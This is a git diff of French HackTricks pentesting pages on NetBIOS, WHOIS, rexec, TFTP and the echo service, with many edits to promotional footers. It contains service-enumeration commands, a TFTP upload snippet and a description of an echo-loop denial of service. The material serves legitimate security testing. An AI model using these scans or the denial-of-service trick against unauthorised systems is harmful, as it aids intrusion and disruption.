+ ## Service de noms NetBios -* Service de noms pour l'enregistrement et la résolution de noms (ports : 137/udp et 137/tcp). +Le **Service de noms NetBIOS** joue un rôle crucial, impliquant divers services tels que l'**enregistrement et la résolution de noms**, la **distribution de datagrammes** et les **services de session**, utilisant des ports spécifiques pour chaque service. + +[De Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP) : + +* Service de nom pour l'enregistrement et la résolution de noms (ports : 137/udp et 137/tcp). * Service de distribution de datagrammes pour la communication sans connexion (port : 138/udp). * Service de session pour la communication orientée connexion (port : 139/tcp). ### Service de noms -Chaque machine doit avoir un nom à l'intérieur du réseau NetBios. Pour demander un nom, une machine doit envoyer un paquet "Requête de nom" en diffusion et si quelqu'un répond qu'il utilise déjà ce nom, la machine peut utiliser ce nom. S'il y a un serveur de service de noms, l'ordinateur peut demander au serveur de service de noms si quelqu'un utilise le nom qu'il veut utiliser. - -Pour découvrir l'adresse IP d'un nom, un PC doit envoyer un paquet "Requête de nom" et attendre si quelqu'un répond. S'il y a un serveur de service de noms, le PC peut lui demander l'adresse IP du nom. +Pour qu'un appareil participe à un réseau NetBIOS, il doit avoir un nom unique. Cela est réalisé grâce à un **processus de diffusion** où un paquet "Requête de nom" est envoyé. Si aucune objection n'est reçue, le nom est considéré comme disponible. Alternativement, un **serveur de service de noms** peut être interrogé directement pour vérifier la disponibilité d'un nom ou pour résoudre un nom en une adresse IP. Des outils comme `nmblookup`, `nbtscan` et `nmap` sont utilisés pour énumérer les services NetBIOS, révélant les noms des serveurs et les adresses MAC. ```bash PORT STATE SERVICE VERSION 137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP) ``` -En énumérant un service NetBIOS, vous pouvez obtenir les noms que le serveur utilise et l'adresse MAC du serveur. +Enumerating a NetBIOS service you can obtain the names the server is using and the MAC address of the server. ```bash nmblookup -A nbtscan /30 @@ -21,27 +39,23 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n ``` ### Service de distribution de datagrammes -Les datagrammes NetBIOS sont envoyés via UDP. Un datagramme est envoyé avec un paquet "Direct Unique" ou "Direct Group" s'il est envoyé à un nom NetBIOS particulier, ou un paquet "Broadcast" s'il est envoyé à tous les noms NetBIOS sur le réseau. +Les datagrammes NetBIOS permettent une communication sans connexion via UDP, prenant en charge la messagerie directe ou la diffusion à tous les noms de réseau. Ce service utilise le port **138/udp**. ```bash PORT STATE SERVICE VERSION 138/udp open|filtered netbios-dgm ``` ### Service de session -Le mode de session permet à deux ordinateurs d'établir une connexion pour une "conversation", permet de gérer des messages plus volumineux et fournit une détection et une récupération d'erreurs. +Pour des interactions orientées connexion, le **Service de session** facilite une conversation entre deux appareils, en utilisant des connexions **TCP** via le port **139/tcp**. Une session débute avec un paquet "Demande de session" et peut être établie en fonction de la réponse. Le service prend en charge des messages plus volumineux, la détection d'erreurs et la récupération, avec le TCP gérant le contrôle de flux et la retransmission de paquets. -Les sessions sont établies en échangeant des paquets. L'ordinateur établissant la session tente d'établir une connexion [TCP](https://fr.wikipedia.org/wiki/Transmission\_Control\_Protocol) sur le port 139 de l'ordinateur avec lequel la session doit être établie. Si la connexion est établie, l'ordinateur établissant la session envoie ensuite sur la connexion un paquet "Demande de session" avec les noms NetBIOS de l'application établissant la session et le nom NetBIOS vers lequel la session doit être établie. L'ordinateur avec lequel la session doit être établie répondra avec une "Réponse de session positive" indiquant qu'une session peut être établie ou une "Réponse de session négative" indiquant qu'aucune session ne peut être établie (soit parce que cet ordinateur n'écoute pas les sessions établies à ce nom, soit parce qu'aucune ressource n'est disponible pour établir une session à ce nom). +La transmission de données au sein d'une session implique des **paquets de messages de session**, les sessions se terminant par la fermeture de la connexion TCP. -Les données sont transmises pendant une session établie par des paquets de message de session. - -TCP gère le contrôle de flux et la retransmission de tous les paquets de service de session, et la division du flux de données sur lequel les paquets sont transmis en datagrammes IP suffisamment petits pour tenir dans des paquets de couche de liaison. - -Les sessions sont fermées en fermant la connexion TCP. +Ces services sont essentiels à la fonctionnalité de **NetBIOS**, permettant une communication efficace et un partage de ressources à travers un réseau. Pour plus d'informations sur les protocoles TCP et IP, consultez leurs pages respectives sur [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) et [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol). ```bash PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` -**Lisez la page suivante pour apprendre comment énumérer ce service:** +**Lisez la page suivante pour apprendre comment énumérer ce service :** {% content-ref url="137-138-139-pentesting-netbios.md" %} [137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md) @@ -54,30 +68,32 @@ Port_Number: 137,138,139 #Comma separated if there is more than one. Protocol_Description: Netbios #Protocol Abbreviation Spelled out Entry_1: - Name: Notes - Description: Notes for NetBios - Note: | - Name service for name registration and resolution (ports: 137/udp and 137/tcp). - Datagram distribution service for connectionless communication (port: 138/udp). - Session service for connection-oriented communication (port: 139/tcp). +Name: Notes +Description: Notes for NetBios +Note: | +Name service for name registration and resolution (ports: 137/udp and 137/tcp). +Datagram distribution service for connectionless communication (port: 138/udp). +Session service for connection-oriented communication (port: 139/tcp). - Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use. +For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address. - https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios +https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios Entry_2: - Name: Find Names - Description: Three scans to find the names of the server - Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP} +Name: Find Names +Description: Three scans to find the names of the server +Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP} ```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +D'autres façons de soutenir HackTricks: + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/network-services-pentesting/43-pentesting-whois.md b/network-services-pentesting/43-pentesting-whois.md index 4398951fd..80760a863 100644 --- a/network-services-pentesting/43-pentesting-whois.md +++ b/network-services-pentesting/43-pentesting-whois.md @@ -1,21 +1,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
# Informations de base -Le protocole **WHOIS** sert de méthode standard pour **s'informer sur les titulaires de diverses ressources Internet** via des bases de données spécifiques. Ces ressources comprennent les noms de domaine, les blocs d'adresses IP et les systèmes autonomes, entre autres. En plus de cela, le protocole est utilisé pour accéder à un éventail plus large d'informations. +Le protocole **WHOIS** sert de méthode standard pour **s'informer sur les titulaires de diverses ressources Internet** via des bases de données spécifiques. Ces ressources comprennent les noms de domaine, les blocs d'adresses IP et les systèmes autonomes, entre autres. Au-delà de cela, le protocole est utilisé pour accéder à un spectre plus large d'informations. **Port par défaut :** 43 ``` @@ -39,7 +39,7 @@ De plus, le service WHOIS doit toujours utiliser une **base de données** pour s * `port:43 whois` -# Commandes automatiques HackTricks +# Commandes Automatiques HackTricks ``` Protocol_Name: WHOIS #Protocol Abbreviation if there is one. Port_Number: 43 #Comma separated if there is more than one. @@ -63,12 +63,12 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4 Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -D'autres façons de soutenir HackTricks: +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/49-pentesting-tacacs+.md b/network-services-pentesting/49-pentesting-tacacs+.md index 4403e4f1e..26a4a2df7 100644 --- a/network-services-pentesting/49-pentesting-tacacs+.md +++ b/network-services-pentesting/49-pentesting-tacacs+.md @@ -2,14 +2,14 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -58,7 +58,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/512-pentesting-rexec.md b/network-services-pentesting/512-pentesting-rexec.md index 56d25ba91..8bd03abf0 100644 --- a/network-services-pentesting/512-pentesting-rexec.md +++ b/network-services-pentesting/512-pentesting-rexec.md @@ -2,21 +2,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## Informations de base -C'est un service qui **permet d'exécuter une commande à l'intérieur d'un hôte** si vous connaissez des **identifiants** valides (nom d'utilisateur et mot de passe). +C'est un service qui **vous permet d'exécuter une commande à l'intérieur d'un hôte** si vous connaissez des **identifiants valides** (nom d'utilisateur et mot de passe). **Port par défaut :** 512 ``` @@ -27,14 +27,14 @@ PORT STATE SERVICE
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/network-services-pentesting/69-udp-tftp.md b/network-services-pentesting/69-udp-tftp.md index 9c3054e60..0e2ab7ab5 100644 --- a/network-services-pentesting/69-udp-tftp.md +++ b/network-services-pentesting/69-udp-tftp.md @@ -1,13 +1,13 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -15,7 +15,7 @@ Autres façons de soutenir HackTricks : # Informations de base -Le **Protocole de transfert de fichiers trivial (TFTP)** est un protocole simple utilisé sur le **port UDP 69** qui permet le transfert de fichiers sans nécessiter d'authentification. Mis en avant dans **RFC 1350**, sa simplicité signifie qu'il manque de fonctionnalités de sécurité clés, ce qui limite son utilisation sur l'Internet public. Cependant, **TFTP** est largement utilisé au sein de grands réseaux internes pour distribuer des **fichiers de configuration** et des **images ROM** à des appareils tels que des **téléphones VoIP**, grâce à son efficacité dans ces scénarios spécifiques. +Le **Protocole de transfert de fichiers trivial (TFTP)** est un protocole simple utilisé sur le **port UDP 69** qui permet les transferts de fichiers sans nécessiter d'authentification. Mis en avant dans **RFC 1350**, sa simplicité signifie qu'il manque de fonctionnalités de sécurité clés, ce qui limite son utilisation sur l'Internet public. Cependant, **TFTP** est largement utilisé au sein de grands réseaux internes pour distribuer des **fichiers de configuration** et des **images ROM** à des appareils tels que des **téléphones VoIP**, grâce à son efficacité dans ces scénarios spécifiques. **À FAIRE** : Fournir des informations sur ce qu'est un Bittorrent-tracker (Shodan identifie ce port avec ce nom). Si vous avez plus d'informations à ce sujet, faites-le nous savoir par exemple dans le [**groupe Telegram HackTricks**](https://t.me/peass) (ou dans un problème GitHub dans [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)). @@ -54,10 +54,10 @@ client.upload("filename to upload", "/local/path/file", timeout=5) Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. diff --git a/network-services-pentesting/7-tcp-udp-pentesting-echo.md b/network-services-pentesting/7-tcp-udp-pentesting-echo.md index b0ac51502..ff7eeedfa 100644 --- a/network-services-pentesting/7-tcp-udp-pentesting-echo.md +++ b/network-services-pentesting/7-tcp-udp-pentesting-echo.md @@ -1,14 +1,14 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -19,7 +19,7 @@ Un service d'écho fonctionne sur cet hôte. Le service d'écho était destiné **Il est possible de provoquer un déni de service en connectant un service d'écho au service d'écho sur la même machine ou sur une autre**. En raison du nombre excessivement élevé de paquets produits, les machines affectées peuvent être efficacement mises hors service.\ Informations provenant de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) -**Port par défaut :** 7/tcp/udp +**Port par défaut:** 7/tcp/udp ``` PORT STATE SERVICE 7/udp open echo @@ -44,14 +44,14 @@ Hello echo #This is the response
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
diff --git a/pentesting-web/browser-extension-pentesting-methodology/README.md b/pentesting-web/browser-extension-pentesting-methodology/README.md index 86a05df74..c507244cd 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -18,7 +18,7 @@ Autres façons de soutenir HackTricks : Les extensions de navigateur sont écrites en JavaScript et chargées par le navigateur en arrière-plan. Elles ont leur [DOM](https://www.w3schools.com/js/js_htmldom.asp) mais peuvent interagir avec les DOM 